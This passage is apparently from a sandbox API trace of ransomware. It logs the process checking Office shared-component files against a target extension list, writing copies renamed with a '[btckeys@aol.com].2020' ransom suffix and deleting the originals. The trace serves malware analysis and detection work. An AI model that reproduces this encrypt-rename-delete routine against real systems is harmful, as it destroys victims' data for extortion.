(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0066.854] lstrlenW (lpString=".doc") returned 4 [0066.854] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.854] lstrlenW (lpString=".docx") returned 5 [0066.855] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0066.855] lstrlenW (lpString=".pdf") returned 4 [0066.855] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.855] lstrlenW (lpString=".xls") returned 4 [0066.855] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.855] lstrlenW (lpString=".xlsx") returned 5 [0066.855] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0066.855] lstrlenW (lpString=".ppt") returned 4 [0066.855] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0066.855] lstrlenW (lpString=".zip") returned 4 [0066.855] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.855] lstrlenW (lpString=".rar") returned 4 [0066.855] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.855] lstrlenW (lpString=".bz2") returned 4 [0066.855] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.855] lstrlenW (lpString=".7z") returned 3 [0066.855] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0066.855] lstrlenW (lpString=".dbf") returned 4 [0066.855] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0066.855] lstrlenW (lpString=".1cd") returned 4 [0066.855] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0066.855] lstrlenW (lpString=".jpg") returned 4 [0066.855] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0066.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0066.856] lstrlenW (lpString=".doc") returned 4 [0066.856] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.856] lstrlenW (lpString=".docx") returned 5 [0066.856] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0066.856] lstrlenW (lpString=".pdf") returned 4 [0066.856] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0066.856] lstrlenW (lpString=".xls") returned 4 [0066.856] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0066.856] lstrlenW (lpString=".xlsx") returned 5 [0066.856] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0066.856] lstrlenW (lpString=".ppt") returned 4 [0066.856] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0066.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0066.856] lstrlenW (lpString=".zip") returned 4 [0066.856] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0066.856] lstrlenW (lpString=".rar") returned 4 [0066.856] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0066.856] lstrlenW (lpString=".bz2") returned 4 [0066.856] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.856] lstrlenW (lpString=".7z") returned 3 [0066.856] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0066.856] lstrlenW (lpString=".dbf") returned 4 [0066.856] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0066.857] lstrlenW (lpString=".1cd") returned 4 [0066.857] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0066.857] lstrlenW (lpString=".jpg") returned 4 [0066.857] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0066.857] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0066.857] lstrlenW (lpString="Content.xml") returned 11 [0066.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0066.880] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=27045) returned 1 [0066.881] CloseHandle (hObject=0x188) returned 1 [0066.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0066.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0066.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0066.881] lstrlenW (lpString=".doc") returned 4 [0066.881] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.881] lstrlenW (lpString=".docx") returned 5 [0066.881] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0066.881] lstrlenW (lpString=".pdf") returned 4 [0066.881] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.881] lstrlenW (lpString=".xls") returned 4 [0066.881] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.881] lstrlenW (lpString=".xlsx") returned 5 [0066.881] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0066.881] lstrlenW (lpString=".ppt") returned 4 [0066.881] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0066.881] lstrlenW (lpString=".zip") returned 4 [0066.882] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.882] lstrlenW (lpString=".rar") returned 4 [0066.882] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.882] lstrlenW (lpString=".bz2") returned 4 [0066.882] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.882] lstrlenW (lpString=".7z") returned 3 [0066.882] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0066.882] lstrlenW (lpString=".dbf") returned 4 [0066.882] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0066.882] lstrlenW (lpString=".1cd") returned 4 [0066.882] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0066.882] lstrlenW (lpString=".jpg") returned 4 [0066.882] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0066.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0066.882] lstrlenW (lpString=".doc") returned 4 [0066.882] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.882] lstrlenW (lpString=".docx") returned 5 [0066.882] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0066.882] lstrlenW (lpString=".pdf") returned 4 [0066.882] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.882] lstrlenW (lpString=".xls") returned 4 [0066.882] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.882] lstrlenW (lpString=".xlsx") returned 5 [0066.883] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0066.883] lstrlenW (lpString=".ppt") returned 4 [0066.883] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0066.883] lstrlenW (lpString=".zip") returned 4 [0066.883] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.883] lstrlenW (lpString=".rar") returned 4 [0066.883] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.883] lstrlenW (lpString=".bz2") returned 4 [0066.883] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.883] lstrlenW (lpString=".7z") returned 3 [0066.883] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0066.883] lstrlenW (lpString=".dbf") returned 4 [0066.883] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0066.883] lstrlenW (lpString=".1cd") returned 4 [0066.883] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0066.883] lstrlenW (lpString=".jpg") returned 4 [0066.883] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.883] lstrcmpiW (lpString1=".avi", lpString2=".2020") returned 1 [0066.883] lstrlenW (lpString="join.avi") returned 8 [0066.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0067.712] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=222208) returned 1 [0067.712] CloseHandle (hObject=0x1d4) returned 1 [0067.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0067.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0067.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0067.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0067.713] lstrlenW (lpString=".doc") returned 4 [0067.713] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0067.713] lstrlenW (lpString=".docx") returned 5 [0067.713] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0067.713] lstrlenW (lpString=".pdf") returned 4 [0067.713] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0067.713] lstrlenW (lpString=".xls") returned 4 [0067.713] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0067.713] lstrlenW (lpString=".xlsx") returned 5 [0067.713] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0067.713] lstrlenW (lpString=".ppt") returned 4 [0067.713] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0067.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0067.713] lstrlenW (lpString=".zip") returned 4 [0067.713] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0067.713] lstrlenW (lpString=".rar") returned 4 [0067.713] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0067.713] lstrlenW (lpString=".bz2") returned 4 [0067.713] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0067.713] lstrlenW (lpString=".7z") returned 3 [0067.713] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0067.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0067.713] lstrlenW (lpString=".dbf") returned 4 [0067.713] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0067.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0067.713] lstrlenW (lpString=".1cd") returned 4 [0067.713] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0067.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0067.713] lstrlenW (lpString=".jpg") returned 4 [0067.713] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0067.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0067.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0067.714] lstrlenW (lpString=".doc") returned 4 [0067.714] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0067.714] lstrlenW (lpString=".docx") returned 5 [0067.714] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0067.714] lstrlenW (lpString=".pdf") returned 4 [0067.714] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0067.714] lstrlenW (lpString=".xls") returned 4 [0067.714] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0067.714] lstrlenW (lpString=".xlsx") returned 5 [0067.714] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0067.714] lstrlenW (lpString=".ppt") returned 4 [0067.714] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0067.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0067.714] lstrlenW (lpString=".zip") returned 4 [0067.714] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0067.714] lstrlenW (lpString=".rar") returned 4 [0067.714] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0067.714] lstrlenW (lpString=".bz2") returned 4 [0067.714] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0067.714] lstrlenW (lpString=".7z") returned 3 [0067.714] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0067.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0067.714] lstrlenW (lpString=".dbf") returned 4 [0067.714] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0067.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0067.714] lstrlenW (lpString=".1cd") returned 4 [0067.714] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0067.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0067.714] lstrlenW (lpString=".jpg") returned 4 [0067.714] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0067.715] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0067.715] lstrlenW (lpString="base_rtl.xml") returned 12 [0067.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0070.061] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=617) returned 1 [0070.061] CloseHandle (hObject=0x1b0) returned 1 [0070.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0070.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0070.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0070.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0070.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0070.062] lstrlenW (lpString=".doc") returned 4 [0070.062] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.062] lstrlenW (lpString=".docx") returned 5 [0070.062] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0070.062] lstrlenW (lpString=".pdf") returned 4 [0070.062] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.062] lstrlenW (lpString=".xls") returned 4 [0070.062] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.062] lstrlenW (lpString=".xlsx") returned 5 [0070.062] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0070.062] lstrlenW (lpString=".ppt") returned 4 [0070.062] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0070.062] lstrlenW (lpString=".zip") returned 4 [0070.062] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.062] lstrlenW (lpString=".rar") returned 4 [0070.062] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.062] lstrlenW (lpString=".bz2") returned 4 [0070.062] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.062] lstrlenW (lpString=".7z") returned 3 [0070.062] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0070.062] lstrlenW (lpString=".dbf") returned 4 [0070.062] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0070.063] lstrlenW (lpString=".1cd") returned 4 [0070.063] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0070.063] lstrlenW (lpString=".jpg") returned 4 [0070.063] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0070.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0070.063] lstrlenW (lpString=".doc") returned 4 [0070.063] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.063] lstrlenW (lpString=".docx") returned 5 [0070.063] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0070.063] lstrlenW (lpString=".pdf") returned 4 [0070.063] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.063] lstrlenW (lpString=".xls") returned 4 [0070.063] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.063] lstrlenW (lpString=".xlsx") returned 5 [0070.063] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0070.063] lstrlenW (lpString=".ppt") returned 4 [0070.063] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0070.063] lstrlenW (lpString=".zip") returned 4 [0070.063] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.063] lstrlenW (lpString=".rar") returned 4 [0070.063] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.063] lstrlenW (lpString=".bz2") returned 4 [0070.063] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.063] lstrlenW (lpString=".7z") returned 3 [0070.063] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0070.063] lstrlenW (lpString=".dbf") returned 4 [0070.064] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0070.064] lstrlenW (lpString=".1cd") returned 4 [0070.064] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0070.064] lstrlenW (lpString=".jpg") returned 4 [0070.064] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.064] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0070.064] lstrlenW (lpString="SETUP.XML") returned 9 [0070.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0070.503] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=2296) returned 1 [0070.516] CloseHandle (hObject=0x200) returned 1 [0070.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0070.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0070.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0070.516] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0070.516] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0070.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0070.576] GetLastError () returned 0x0 [0070.576] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x8f8, lpOverlapped=0x0) returned 1 [0070.619] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x900, lpOverlapped=0x0) returned 1 [0070.621] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0070.621] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0070.621] SetEndOfFile (hFile=0x1b0) returned 1 [0070.621] CloseHandle (hObject=0x1b0) returned 1 [0070.626] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0070.626] SetEndOfFile (hFile=0x200) returned 1 [0070.626] CloseHandle (hObject=0x200) returned 1 [0070.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0070.627] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0070.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0070.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0070.627] 